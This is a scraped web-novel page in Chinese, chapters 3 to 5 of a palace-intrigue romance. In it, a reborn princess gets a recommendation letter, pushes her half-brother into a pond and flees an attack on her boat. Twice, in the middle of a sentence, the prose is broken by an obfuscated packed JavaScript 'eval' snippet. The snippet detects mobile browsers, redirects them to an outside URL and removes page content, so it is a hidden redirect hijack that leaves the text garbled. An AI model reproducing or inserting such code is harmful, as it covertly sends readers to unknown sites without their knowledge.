《成婚前你不是这么说的!》 3. 第 3 章 兰台是宫中藏书修史之地。 直到及笄前,骊珠都和弟弟沈负在兰台内听太子太傅讲经,对这里十分熟悉。 算着时辰,骊珠刚好在早课结束时入内。 太傅放下经书,看着底下睡着了的小皇子,忍不住摇头轻叹,余光瞥见骊珠,突然眼前一亮。 “公主怎么来了?老臣见过公主。” 腰还没弯下去,就被骊珠亲自搀扶了起来。 一抬头,太傅便见公主目光炯炯,直勾勾盯着他瞧。 太傅疑惑:“老臣今日……须面可有不洁?” “不是,”骊珠笑了起来,“好久没见小老头你了,有些想你。” 面上在笑,但骊珠心中却有些酸涩。 前世的太傅甚至没熬到南雍亡国那日。 南雍第一次战败于北越,朝中决定向北越缴纳岁币时,太傅便率主战派的群臣上了无数折子。 明昭帝视若无睹,太傅便长跪于玉堂殿外,恳请派兵出战。 明昭帝仍是不允。 就在押送岁币的车队从雒阳启程的当日,太傅府中传来消息—— 太傅闭门七日,绝食而亡,死时保持着叩拜的姿势,正对雍朝旧都的方向。 前世灵堂与眼前身影重叠。 “公主越是这么说,越叫老臣颇为警惕啊。” 看着与自己孙女一样大的公主,白胡子太傅笑得眼尾一叠褶子。 “上次公主硬要老臣带着公主的墨宝去月旦评,岂料声名鹊起,满雒阳的人都在打听,那是哪位名家之作,差点没瞒住——这次可别再让老臣做这种事了。” “这次不是!” 骊珠忙解释道: “我今日来,是想让太傅写一封举荐信,举荐一位学子做当世大儒谢稽的入室弟子。” 这个答案着实在太傅的意料之外。 见骊珠神情认真,不似玩笑,太傅知道她有话要说,看了看四下,抬手引她入内室。 在一扇雕镂漆屏前落座后,他细细追问: “公主久居深宫,鲜与外人往来,不知哪家学子有这等殊荣,能得到公主亲荐?” “其实我也不是很清楚。” 骊珠佯装天真无知,眨了眨眼道: “是玉晖哥哥请我帮这个忙,说谢稽虽有大才,但脾气古怪,轻易不收外姓弟子,也就只有太傅和谢稽交情好,能给这个面子。” 太傅听得眉头直打结,望着骊珠,一副欲言又止的模样。 举荐一个学子,倒不是什么大事,只是此人日后入仕,必会成为覃氏的羽翼之一。 公主这是在给他人做嫁衣啊。 但他能说什么呢? 南边本地豪族势强,南雍朝廷迁都至此,想要政令通达,就必须培植覃氏外戚,与这些豪族相抗。 即便以后覃氏势大,恐会危及皇室,那也是以后的事。 覃氏嫡长公子尚主已成定局。 太傅没有多言,取来简牍,提笔写了开头,问及对方姓名。 “伊陵裴氏,裴胤之。” 骊珠托着腮,念出这个名字时,面上笑吟吟的。 太傅却心头有些犯嘀咕。 伊陵裴氏? 覃家这从哪儿挖出来的破落户? 太傅暗暗叹了口气,提笔写就,盖上阴文印章。 将举荐信交给骊珠时,又谆谆道: “如今朝廷中有识之士不少,有能力做实事的却不多,不论是何立场,待此人日后出仕,还需谨记,忠于陛下,忠于南雍百姓……” “太傅放心!” 骊珠飞快夺过举荐信,太傅一惊,抬头正对上小公主明亮笃定的眸色。 “他虽尚未及冠,但才华横溢,身弱志坚,一生志向,只求收复北地十一州,为此可以肝脑涂地,死不旋踵!若他入仕,必能整合一盘散沙的局势,成为南雍官场的栋梁!” 小老头听得一愣一愣。 “……我们南雍,还有这等少年英雄?” 骊珠肃然颔首。 这些话并不是骊珠说的,而是前世的三公之一,御史大夫徐梦玄,亲口对群臣所言。 据说裴胤之升迁至雒阳为官后,徐梦玄对这个年轻人青眼有加。 得三公盛赞,裴胤之初入雒阳,便名声大噪。 但后来也有许多风言风语,说徐梦玄是受了裴胤之的胁迫,才被逼说出这番浮夸至极的违心话,替他造势。 骊珠听到这样的谣言,嗤之以鼻。 一群软骨头,倒诋毁起了南雍的大英雄。 除了“学识过人”这一句,有那么一点水分,其他哪句话有假? 裴胤之入仕前,朝中主和派占尽上风。 南雍向北越交了一年又一年的岁币,养肥了北越的国力,喂饱了乌桓人的马。 要不是裴胤之扛起了主战派的大旗,等不到熹宁七年,南雍早亡了。 这些百官公卿读尽圣贤书,也不知怎么,竟读出了一副善妒嘴脸。 一桩心事了却,骊珠与太傅告辞,脚步轻快地踏出了内室。 “这是什么东西?给我看看!” 稚童嗓音毫无征兆地响起。 几乎是立刻,浑身血液直往脑门上冲的骊珠反应迅速地侧身,将举荐信护在怀中,让对方抓了个空。 那男孩踉跄了一下,差点摔倒,回过头来勃然大怒。 “护得这么严实,什么见不得人的东西!” 虽然眉宇稚气,但小男孩的五官轮廓都已有少年隽秀的影子。 尤其是那双与明昭帝一模一样的眼,天生带着一种不怒自威的庄严,乍一看很能唬人。 这便是骊珠同父异母的弟弟,覃皇后之子,沈负。 “……关你什么事。” 骊珠将信缓缓藏在身后,假装镇定,觑他一眼: “脸上红印这么深,今日早课又睡过去了?沈负,你那本《开蒙要训》该不会今年还学不明白吧?” 语气虽平淡,但骊珠的心跳早已快得不堪重负。 绝不能让沈负看到裴胤之的名字。 一旦这封举荐信落到覃皇后手中,裴胤之便会被划为公主一党,覃皇后绝不会让他有出头之日! “你敢笑话我!”沈负大怒。 她还敢炸死他呢! 骊珠在心中气急败坏地暗骂。 沈负道:“你识的字多有什么用?及笄之后你就不能来兰台听学了,我想学多久就学多久,沈骊珠,你羡慕死了吧!” 八岁的小男孩正值人憎狗嫌的年纪,笑容更显十分恶劣。 骊珠知道自己不该和小孩子一般见识。 但她还是被这话气得涨红了脸,因为沈负说得没错,她确实羡慕死了。 “让开!” “我就不让,除非你把你手里的东西给我瞧瞧!” 骊珠刚要回落的心再度悬了起来。 覃皇后生性多疑,别说这封举荐信的内容,就连这信的存在都不能让她知道,否则此行出巡,更将困难重重。 怎么办? 怎么才能分散沈负的注意力? 骊珠深吸一口气。 “……兰台听学算什么?等我日后开府出宫,我就把太傅请到公主府给我授课,反正父皇疼我不疼你,肯定会答应的。” 沈负顿时变了脸色。 和骊珠一样,他也有一戳就中的怒点。 “太傅是太子的太傅!岂能给你一个人授课!” “可你又不是太子,我有两个郡的食邑,父皇给了你什么?” “你!你!你——等着!沈骊珠!我以后定叫你知道我的厉害!” “以后?你以后能怎么厉害?” “我是父皇唯一的儿子!等他死了,我就是南雍天子!” 小男孩稚嫩狂悖的声音回荡在兰台四周。 几名小吏捧着简牍经过,闻声朝这边看了过来,频频交头接耳。 从内室而出的太傅惊得声音都变了调。 “殿下!不可妄言啊!” 可骊珠等的就是他这句妄言。 她怒斥:“沈负!你敢咒父皇死,你好大的胆子!” 沈负也反应过来,自己似乎说错话了,但还没来得及狡辩,就被恶向胆边生的骊珠推了一把! 太傅年迈,嘴跟不上脑子,只能眼睁睁看着骊珠将沈负一把推入了兰台旁边的荷花池中。 噗通——! “……快来人!大皇子落水了!” 颤巍巍的太傅上前,确认沈负真的落水,眼前一阵眩晕。 “公主!您今日是怎么了!您、您平时从来不会这么鲁莽行事……” 趁宫内卫士还没赶来,骊珠将举荐信偷偷塞给了太傅。 “这个先放在您这里,还请太傅务必好好保管,绝不能让任何人知晓内容,待我出巡前一日,我再亲自来取。” 她望着荷花池里扑腾的小男孩,冷静道: “从前是我太懦弱,才会纵得沈负对我愈发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859074|175921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无礼,今天只当给他一个教训——他水性很好,太傅不用担心。” 太傅急道: “公主,我是担心您啊!您将殿下推下水,说小了是姐弟打闹,说大了是谋害皇子,可想过皇后那边如何交代!” 沈负是覃皇后唯一的儿子,也是宛郡覃氏延续满门簪缨的指望。 更何况公主马上就要与覃珣成婚。 这么做,等于得罪了整个覃氏,除了逞一时之快,对自己没有半点好处啊! “谁说我没法交代?” 小公主冷笑一声。 太傅惊疑不定,莫非公主真有两全的良策? 还没等他问个清楚,只见人影一动,耳畔又听噗通一声! “太傅大人——” 匆匆赶来的卫士扶住眼前一黑的太傅,小老头食指哆哆嗦嗦,指着水面: “快……快去捞公主!公主不识水性啊!” …… 自从十四岁那年,骊珠被沈负一弹弓打进荷花池后,她就再也没接近过水边,此刻她才终于又回忆起溺水的恐惧与无助。 水瞬间从口鼻灌入,发不出声音,踩不到实地。 灌入鼻腔里的水像刀子一样刺痛大脑,耳内嗡嗡作响,身体沉得像铅,求生欲驱使人奋力挣扎,然而越是拼命拍打,越是不住地往下沉。 秋水彻骨寒凉。 投水之时,卫士就在不远处,骊珠知道自己不会死。 今日如果只有沈负落水,她定被问责,可若她也一并落水,这就只能算得上姐弟争执的小事。 各打五十大板,覃氏还能说什么? 这是最好的解决办法。 就是窝囊点而已。 还好她这一生,窝囊的日子比得意的日子多,重新习惯这种窝囊日子,对她而言就和呼吸一样简单。 - 骊珠这一跳的代价是卧床十日。 途中高烧两日,咳嗽五日,吃什么吐什么又三日,着急上火的明昭帝命御医轮番按脉诊病,折腾得骊珠整个人都清瘦了一圈。 病中的骊珠一连做了许多噩梦。 她又梦见沈负登基,要将她送去和亲的事。 …… 那时,骊珠试图拉拢朝臣,被婉言回绝;尝试着请前夫覃珣向覃太后求情,他却避而不见。 无路可走时,骊珠听到一些风声。 ——朝中那位主战派的领袖,裴胤之裴太仆,似乎对自己有意。 于是她硬着头皮,向素无往来的裴府递了名帖,邀他入公主府赴宴。 那夜,公主府内的灯火格外暗,骊珠刻意没去细看他的样貌,只按照计划,将琉璃杯中的酒浆笨拙地洒在那人的玄黑官袍上。 丝竹声歇,歌伎悄然退下。 骊珠颤抖着,将手伸向他的腰带,陌生的男子气息近在迟尺。 “长公主,夜色已晚,臣回府更衣即可。” 裴胤之忽而攥住她的腕骨,嗓音淡而温和。 “长公主无需忧心,只要神女阙前将士热血一日未凉,就不会将一国社稷,托付于女子裙摆之下。” 骊珠抬起头,那是她第一次正眼看向这个出身寒门的年轻文臣。 他有英挺的鼻梁,含笑的眉眼,这是个极英俊的青年。 翌日早朝,裴胤之一介文臣之身,主动请战,赴神女阙退敌。 骊珠知道他此战大捷,也知道他大胜回来后的第一件事,便是请旨赐婚,尚清河公主。 但梦里的她却跌跌撞撞追赶在他身后。 不要去! 他的敌人不在陈兵边境的北越军中,他身后的母国也绝非他的盟友。 即便他这一战能胜,也将留下病根,在三年之后夺走他的性命! 有人宁可让南雍屈辱和谈,也要他横死边境,保住自家的荣华富贵! 那个人—— 那个人——!! …… “公主可是梦魇了?” 骊珠霍然睁开双眼。 傍晚霞光照进寝殿内。 一支斜插在乌发间的凤钗筛下几缕血色残阳,给榻边女子的面庞镀上一层鎏金色的光晕。 见她醒来,覃皇后拿起了案几上的药碗,慢悠悠地搅动。 “听闻公主之前想去封地巡游,可看公主眼下这状况,瞧着还是留在宫中静养为好,公主放心,你父皇已经罚了负儿五十个手心,狠狠替你出了气,你现在若再执意走,倒显得像还在负气,叫我不好做,是不是?” 4.第 4 章 果不其然,打了小的来了老的。 骊珠藏好自己见了鬼似的惊惧神情。 覃皇后闺名覃宣容,出自宛郡覃氏三房一脉,和当今官至尚书令的覃氏家主覃敬是堂兄妹。 她显然不是那些仰仗皇帝宠爱,才能在宫中立足的平民皇后。 骊珠害得沈负落水,让她儿子手心被抽得皮开肉绽,她自然要来找骊珠算账。 其实覃皇后要怎么算账,骊珠都无所谓,但她不能阻拦自己这趟出巡。 骊珠垂下眼,怯怯懦懦的样子。 “……您不能……这是父皇允了我的……” “不能?” 覃皇后微笑,将盛着药汤的勺子递到骊珠唇边。 “我这都是为了公主着想,大病初愈,怎么能叫人放心让公主独自出远门呢?” “太医说,不算什么大病,再养几日就能大好,真的。” 骊珠紧抿着唇,偏过头去。 “皇后娘娘……还是多关心一下沈负吧。” 覃皇后收回手,将勺子随意丢回碗中,搁置一旁。 “哦?关心他什么?” “兰台那日,他说了些什么,难道没有人告知——” “那日当值的几名小吏,背后议论皇家是非,兰台戍守的卫兵更是护卫不利,害得皇子落水公主染病,当日在场二十七人,论罪当诛。” 覃皇后打断了骊珠的话头,平缓语调中透出肃杀之气。 望着骊珠苍白如纸的脸色,她弯了弯唇角。 “负儿说了什么?还请公主告知。” 仿佛一盆冰水浇下。 骊珠瞳仁颤动,怔怔吐字: “我……忘了,也不是什么……重要的话。” “这样啊。” 狭长凤目饶有兴味地审视着骊珠,像是在欣赏她的惊惧惶恐。 须臾,她面上肃杀如东风解冻,一眨眼和煦如春。 “那二十七人虽说论罪当诛,但公主大病一场,宫中也不宜见血光……这样吧,公主要是执意想去封地,就让这些人一路随行,差事办得好,算将功折罪,办不好,再数罪并罚,公主以为如何?” 少女闪动着泪光的眼眸一亮,不敢置信,连忙点头。 覃皇后又命身旁女官端来药汤,一口一口,微笑着喂骊珠喝下。 “公主心善,是他们的福气,只是我很好奇,公主平日是最不爱出门的一个人,怎么就突然一时兴起,要去封地出游?” 她用玩笑般的语气道: “莫非外头有什么东西,勾了公主的魂?” 骊珠怯声答: “不敢欺瞒娘娘,下个月就是我生母诞辰,我怕父皇见到我,又牵动心中愁肠,所以,不如离宫出游,或许父皇就不会记得这件事了。” “……” 极具压迫感的眼神,似钢刀刮过少女低垂的侧脸。 十六岁,正值碧玉年华,朝露春晖般的美貌。 据宫里的老人说,清河公主与先皇后生得七八分相似,小公主娇憨灵动,先皇后秾艳殊丽,母女二人都是世间少有的绝色。 宓姜,宓姜。覃皇后在心底默念着这个名字。 她应当是绝色,必须是绝色,否则,怎么能以浣衣女这样的卑贱出身成为一国之母? 又怎么能……死后多年仍让一位君王念念不忘? 覃皇后收回视线,索然无味似地起身。 “难为公主一份孝心……好生养病吧,少府与宗□□很快就会替你打点好船只行装,等太史令观星择日,定下日子,便可启程。” “多谢娘娘。” 等到皇后一行人彻底离开,骊珠才抬起头。 覃皇后还是老样子,遇事不决先杀人,一提先皇后就变脸。 不远处的铜镜映出一张略显颓唐的脸蛋。 时隔多年,她演窝囊废还是那么信手拈来,真不知是好事还是坏事。 骊珠揉了揉脸。 总归还是好消息更多。 没人丢命,她也能顺利出宫,就算之后还有千难万险…… 关关难过关关过吧。 - 季秋初七,枫叶红霞举,宜出行。 明昭帝命人备了金根车,六马并架,亲自送骊珠从中门天子驰道而出。 原本是君王爱女之心,群臣都睁一只眼闭一只眼,但偏偏,他让覃皇后和皇子沈负也一并随行相送。 皇后皇子不与天子同乘,车马仪仗只能从侧门而出。 目睹此景的百官公卿愁苦了脸。 须知当初先皇后诞子,刚过百日,明昭帝就破例加封这个孩子为清河公主,赐一个县的食邑。 清河公主六岁时,先皇后病故,明昭帝哀恸万分,又给了清河公主两个郡的食邑,规格比肩皇子亲王。 而皇子沈负,作为明昭帝的嫡长子,还是独子,长到八岁尚未得什么荣宠。 今日更是公主出中门,皇子走侧门。 世人都说,母凭子贵。 可落在南雍的两位皇子公主身上,却是有目共睹的子凭母贵。 骊珠也满面愁容。 前世沈负继位后,她被清算得那么惨,其中有她父皇一半功劳。 洛河近在眼前。 实在不能再送了,明昭帝依依不舍,嘱托再三。 “……除了少府和宗政府安排的人以外,父皇还安排了校尉陆誉,率卫兵随行,此人可信,这一路就由他,还有你那个……” 明昭帝环顾四下,没瞧见熟悉身影,问: “对了,你身边那个叫长君的小宦官呢?” 骊珠眨了眨眼:“我让他先一步押送箱笼上船了。” 明昭帝不疑有他,微微颔首: “上船后,让他与陆校尉碰个面,我记得那个小宦官身手不错,这一路有他们,父皇才可放心。” 骊珠乖巧应下。 交代完这些,明昭帝拍了拍骊珠的肩,眼中似还有千言万语,但最后只道: “这一去,山高水远,父皇鞭长莫及,真的非去不可?” “您不会这个时候反悔吧?” 骊珠语速飞快,急切道: “父皇若觉得我只是游山玩水不妥,我可替父皇沿途巡视河工,视察盐铁;若是觉得开销过大,也可以再精简物资……” “说什么胡话,天家公主,何须为这些俗事操心?” 明昭帝朗声而笑,摸摸她的头。 “跟你的驸马游山玩水去吧,父皇回了,祝我麟儿此去,一帆风顺。” 天子车架浩浩荡荡返程,骊珠站在原地目送。 刚要升起几分离别愁肠,皇后舆驾上的轻纱被风吹动,骊珠正对上覃皇后的目光。 几乎是立刻,她转过头,拉着身旁的女官玄英。 “快走快走!” 一脸的惊惧慌张,仿佛身后有鬼在追似的。 覃皇后见状,扯了扯唇角。 “娘!” 坐在她旁边的男童不满出声,举着包成粽子的手缠住母亲的臂弯。 “为什么不替儿臣出气!沈骊珠欺人太甚!她该死!” “嘘——” 冰冷修长的食指抵住他嘴唇,覃皇后俯瞰着稚子。 “口无遮拦的亏还没吃够吗?再胡言乱语,就将你这张嘴缝上。” 沈负瑟缩了一下。 覃皇后移开视线。 “莫急,只要权柄在握,这口气,想顺下来还不容易吗?” - 玄英搀扶着骊珠登上船。 “公主别怕,人人都知道,负责这趟出巡巡防的是卫尉府,卫尉杨琨正是皇后娘娘的外甥女婿,公主这趟有任何差池,皇后逃不了干系。” 骊珠闻言却摇摇头: “你不了解皇后,她不是个正常人,她发起疯来,连覃氏都管不住她。” 但即便如此,骊珠也必须要出宫。 留在宫中的结局,她前世已经历过一次,不过是温水煮青蛙一样等死。 她没有选择,必须出宫一试。 玄英瞧了骊珠好几眼。 小公主这段时日愈发风声鹤唳起来,若说她胆子小,却又敢千里迢迢出这趟远门,真叫人有些不解。 “——属下陆誉,陆无咎,参见清河公主。” 只听哐当跪地一声,骊珠回头,没瞧见说话的人长什么模样,倒先看到了一双抱拳高举的手。 骊珠忍不住轻笑,道: “校尉免礼请起。” 起身站定后,骊珠发觉此人身长八尺有余,姿貌雄伟。 “这趟出巡,辛苦校尉调度安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868423|175921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排,我的安危就托付给你了。” 听见这道噙着笑意的清甜嗓音,陆誉下意识地抬头瞧了一眼,随即才反应过来这是公主,不可冒犯,迅速低下头去。 虽是匆匆一瞥,陆誉仍不免为那一瞬的美貌心惊。 来之前陆誉还想,小公主不过刚及笄的小姑娘,哪里就论得上什么美人不美人的? 亲眼见了后,才发现自己的浅薄和傲慢。 “……公主言重,船上巡防主要还是由卫尉府的少卿大人调度安排,属下这一队三十名卫兵,只负责公主近卫,此行定当尽心竭力。” “光是尽心竭力可不够。” 听到这番话,陆誉心中打了个突。 骊珠让玄英取来早就备好的地图,正色道: “先来给我讲讲我们此行路线吧。” 玄英带着人在甲板上设了座。 陆誉心中疑惑,但见公主示意他在对面坐下,他也只好脱履入座,指着案上地图一一道来。 骊珠又问及他手下近卫如何轮值。 听完陆誉的回答,骊珠摇摇头: “……还不够严密,你再安排三人盯着膳房,入口的每一道膳食——我是指你们所有人——都要有人试菜,另外,全队上下务必滴酒不沾。” 陆誉若有所思。 看来这小公主是不信任卫尉府的人了,否则,这些话应该召船上另一位卫尉少卿来,一并交代才对。 “喏。” 陆誉又道: “既然如此,后半夜也由属下亲自轮值,还可顺便将御船内外巡一趟。” 骊珠颔首。 “不过……公主是担心匪患?我们此行途径的路线,都是少府和卫尉府反复斟酌制定,又是御船,公主其实大可安心。” “宫里当然尽了心,但有些地方,却也力不能及。” 陆誉:“此话何解?” 眼前犹带稚气的小公主换上了一副肃然神色。 “这几年,天下群盗猖獗,啸聚山林,地方上又有许多官员不作为,父皇前些年便颁了法令,若不及时剿匪,或剿匪不力,二千石及以下的官员一律处死。” 陆誉:“这不是一桩好事?” 骊珠摇头: “法令虽好,但用刑太严,反倒让地方官员畏诛,层层隐瞒,致使群盗坐大,朝廷知道时,局面已经不好收拾。” 陆誉恍然,看向骊珠的目光中有诧异之色。 骊珠继续解释:“所以,我们途中若遇不上匪盗便罢,如果遇上,必是悍匪……不对,连出巡的御船也敢劫,这恐怕不是悍匪,得叫反贼才对。” 待她语气凝重地说完,抬头一看,瞧见陆誉一脸的如临大敌。 她忙道:“这也只是最坏的打算,应该不至于这么不巧,只是想提醒陆大人,切莫大意而已。” 比起八竿子打不着的匪贼,还是覃皇后更危险些。 但无论如何,此行都必须提高警惕,才能随机应变。 “陆誉明白,多谢公主提点。” 听了这番话,陆誉再不敢小看这位久居深宫的小公主。 他心悦诚服地拱手道: “公主虽居深宫,却坐知天下,属下佩服。” 骊珠愣了一下,抿唇露出一个略带怅然的浅笑。 陆誉辞别后,骊珠登上船舷。 烟波浩渺,洛河风光尽收眼底,视野一下宽阔起来。 想起方才陆誉的话,骊珠有些出神。 她当然不是平白无故就能坐知天下的。 从前覃珣防备她,不与骊珠谈论政务,也不长居公主府。 裴胤之却从不避讳。 大约是看出骊珠对这些事感兴趣,他一向有问必答,不问也答。 裴胤之权势最盛时,常在公主府内召重臣开小朝会,曾经父皇从不让她沾手的政务,在那时,常常取决于她一念之间。 这条法令后来就是废在她的手中。 彼时,裴胤之见她高兴,抚着她的鬓发问: “公主真的就这么讨厌匪贼?” 骊珠从他怀中抬起头,下颌抵着他的胸膛,直笑。 “当然啦,难道这天底下还会有人喜欢匪贼?” 她希望天下安定,海晏河清。 她知道,裴胤之亦是如此作想。 5.第 5 章 枕着微微颠簸的湖光山月,骊珠一夜好眠。 醒来时天光熹微,推窗望去,连山秀举,罗峰竞峙,已不见岸上城池。 一问才知,他们已经顺着洛河,北出黎山。 骊珠打了个哈欠,慵然坐在妆镜前,任由女婢替她梳洗。 还差几支钗环没戴好时,玄英入内,她屏退四下,拿起桌上簪花,附在骊珠耳边悄声道: “天明前趁着晨雾,长君派了信鸽来传话,公主让他预备的东西,都已经伪装成寻常货物送上货船了,货船一路紧随其后,请公主放心。” 提起这个,骊珠顿时眼尾弯弯: “那就好。” 御船人多眼杂,她带上船的东西都会有专人登记在册。 若是些衣裙钗环、熏香脂粉之类的自然无所谓,但有些东西却是给裴胤之准备的,带上船难免惹眼,也不好解释。 临行前,骊珠便让她身边的宦官长君,私下出宫采买,装作药商,另乘一艘船跟在后面。 没错,骊珠让长君去采买的东西,大多都是药材。 她曾听一位与他同乡的官员称,裴胤之尚未出仕时,其实是伊陵郡出了名的病秧子,长到十几岁,几乎没出过裴家大门。 骊珠对此其实有些半信半疑。 因为,哪怕是在雒阳最冷的日子,裴胤之的身躯也如炭火一样炽热。 而且她与裴胤之成婚三年,但凡他在家,但凡不是她月信的日子,他几乎夜夜都会缠着她…… 总之,看上去跟病秧子这三个字没有任何关系。 可他最后到底还是因伤重不治而死。 骊珠不知道这和他曾经是“病秧子”有没有关系。 但没关系,整个雒阳的药铺,包括宫内的名贵药材,她都让长君精心挑选了一遍,随行队伍里也不缺医官。 再怎么体弱多病,应该也能补回来几成吧? 满怀着期待,几日行船赏景,时间一掠而过。 五日后一早。 骊珠正用午膳时,有人突然来报,称原定路线有所变动,或许要绕路,耽搁两日。 骊珠这一路本就时刻悬心,听了这话,顿时警觉审视对方。 此人名叫方渐,正是卫尉府派来负责此次出巡之人。 “前头再行二十里就要汇入熏江,进入宛郡范围,为何突然要走燕水,从伊陵郡的方向绕道?” 方渐垂着头,恭敬解释: “回公主,昨日宛郡太守差人送来消息,熏江以西,有一处葭草渠,近日才发现那里有一伙水匪藏匿,打劫过往船只,所以差人速来知会。” “水匪?”骊珠追问,“这一伙水匪有多少人?” 方渐答:“人数倒不多,太守已派人前去剿匪,只是发现得晚,还需时日,恐零星逃匪逼急生事,所以提议绕道。” 他将宛郡太守送来的简牍呈上,骊珠仔仔细细看了好几遍。 简牍交代了这伙水匪的来历,过往恶行,来龙去脉详实,末尾还有太守官印,不似临时作伪。 骊珠抿紧了唇,看向一旁跨刀而立的陆誉。 他沉思片刻,道: “御船行路求稳,这些水匪虽不成气候,但未免冲撞公主,绕道的确更妥。” 陆誉都这样说,骊珠没有理由再反驳。 “……那就走燕水吧。” 方渐噙着笑意退下。 玄英见她心神不宁,温声安慰: “现在船上守备严密,水匪也提前绕道避开,只是耽搁一两日,公主宽心。” “这些贼匪真是可恨!” 骊珠气恼地锤了一下桌面。 “多绕几日的路,就多提心吊胆几日,待日后……我定要想办法剿灭这些无法无天的匪贼!” 玄英笑:“何须待日后?到了宛郡,珣公子就会来接应我们了,届时公主提一提,珣公子必定会督促地方官员加紧剿匪。” 一片枫叶随风飘落船舷边,骊珠捏住叶茎转了转。 她垂眸道: “他就算了,指望谁,我都不会指望他的。” 过了午时,御船改道,驶入燕水。 骊珠心事重重之际,船上众人已被两岸重岩叠嶂的景色吸引。 如今正是霜降后。 山间寒寂,层林红叶尽染,深浅不一的枫叶如红霞,与天色连成一片蔚然霞光。 两岸更有大片荻花荡,江风一吹,花絮飘扬如雪。 这里,便是裴胤之的故乡。 但很可惜,按照骊珠的计划,她得先去宛郡与覃珣碰面。 由覃珣护送她到清河郡之后,她先敷衍他一段时间,再找个借口甩掉覃珣,然后才能启程去裴胤之所在的伊陵郡。 否则,她没有理由先在伊陵郡逗留。 骊珠计划得很好。 然而当夜,丑时三刻,酣睡中的骊珠被破门声惊醒。 “快把公主叫起来!快!船上有贼人潜入,正四处搜寻,公主必须乘小船离开!立刻!” 陆誉浑厚嗓音如雷鸣乍响,将舱房内的女眷们从睡梦中惊醒过来。 “什么!?” “哪儿来的贼人?这可是御船!” 悬在头顶多时的利剑终于落下,骊珠心底一片寒凉。 果然还是出事了。 玄英反应最快,一边抓起衣裙给骊珠囫囵穿上,一边焦急问: “船上的卫兵呢?” 火把摇曳,陆誉守在门边,一手按剑,目光警惕地四处打量。 “膳房每日子时都要给值夜卫士送宵夜,没想到今夜有人下药!我们的人安排了试菜,没中招,但巡防的卫士都被迷晕了,余下的人手不足三成!” “这伙贼人人数在我们之上,留在这里太危险了,来之前我已经派人去准备小船,趁还没被合围,公主先行,我们断后——都收拾好了吗?” 在玄英的指挥下,舱内女婢们都已迅速收拾妥当。 陆誉立刻率人一路护送着往船尾走。 匆忙逃跑中,被众人簇拥的骊珠却百思不得其解。 这些贼人怎么做到的? 船上巡防如此严密,外来人不可能有机会下药,难道说贼人早就潜伏于船上? 不对,这也说不通! 尚未来得及细思,跨出舱门时,一声刀剑相撞的铿锵脆响骤然炸开! “保护公主!” “擒住公主!” 两道声音同时响起,陆誉横刀格挡,抬脚踹飞了两名埋伏门边的贼人,其余五名卫士护着骊珠等人,朝船尾且战且退。 女婢们惊声尖叫,齿关打颤的玄英将骊珠半搂在怀中。 心跳如擂鼓的骊珠回头朝船尾一看,更是眼前一黑。 ——船上备用的三艘小舢板都被人砸烂了! 寻常贼人怎会如此缜密? 一支凤凰金步摇在骊珠脑海中一掠而过。 骊珠脸色瞬间苍白。 “公主——!!” 水面忽而有个清亮嗓音,急声唤道: “公主!玄英!快上船!我是长君!” 长君! 简直是柳暗花明,骊珠扑向船尾右侧,果然在一片黑茫茫的江面上瞧见了一个冲她们招手的小宦官。 连骊珠自己都差点忘了,她们还有一条船呢! 众人绝处逢生,欣喜若狂。 那漕船跟御船相比虽小,但容纳骊珠身边这些人不是问题。 有女婢回头喊:“陆大人!快上船!” 长君站在甲板上,接应女眷们逐一往下跳。 陆誉退至船舷边,见骊珠安全上船,他果断道: “贼人有弓箭,若无人断后,乱箭必至,公主放心,我等水性好,等你们走后入水四散,沿岸上走,再与公主汇合!” 骊珠也知道,此刻不是优柔寡断之时,当即应了下来。 又回头,握着长君的手臂道: “这些贼人的目标是我们,船夫们若体力不支,立刻安排其他人替换,今晚必须全速行驶,切不可大意!” 长君显然不明白这些匪贼不去搜刮船上财宝,怎么会拿他们当目标。 但他还是立刻答: “长君明白!此地危险,还请公主速去里面一避!” 水波荡漾,风鼓船帆。 火光与叫杀声越来越远,众人紧绷的神经终于稍稍放松下来。 “公主可有受伤?”玄英寻来一条毯子,将衣衫单薄的骊珠紧紧裹住。 骊珠尚有些茫然地摇摇头。 “我没事,其他人呢?” “让长君清点去了,多亏陆大人和长君护卫及时,应该都只是受了惊吓……先前我还觉得公主太过谨慎,没想到还真有贼人如此胆大包天……” 这可是御船啊! 他们怎么敢! “寻常贼人当然没有这样的胆子。” 浓黑瞳仁在黑夜里定定不动,骊珠清醒而冷静地道: “有人想让我死在这里,又不敢露头,谋划着将罪名栽赃给此地匪贼,自己隐在背后,全身而退。” 玄英面色骇然,心底一片清明。 “您是说……她真是疯了,她怎么敢!公主要是真有个三长两短,她要如何收场?” 如今雒阳一带的本地世族,与覃氏算得上平分秋色。 明昭帝身体康健,覃氏还要借外戚的身份培植党羽,才能在雒阳站稳脚跟,远不到权倾朝野的地步。 她怎么敢擅自撕毁与明昭帝的联盟,不计后果!痛下杀手! 但事实摆在眼前。 骊珠闭了闭眼,枕着玄英的肩,她轻声道: “皇后与覃氏一荣俱荣,就算覃氏族人知晓今夜之事后,再生气,也不能拿她怎么样,只会全力替她收拾烂摊子。” 骊珠深觉自己天真。 竟然以己度人,认为人人都和自己一样,做事需权衡利弊,斟酌再三。 更笃定覃皇后就算看她再不顺眼,也不会在这个阶段真的要了自己的命。 要是丢了自己的命倒也无所谓,可她却牵连了旁人。 前世她赴死 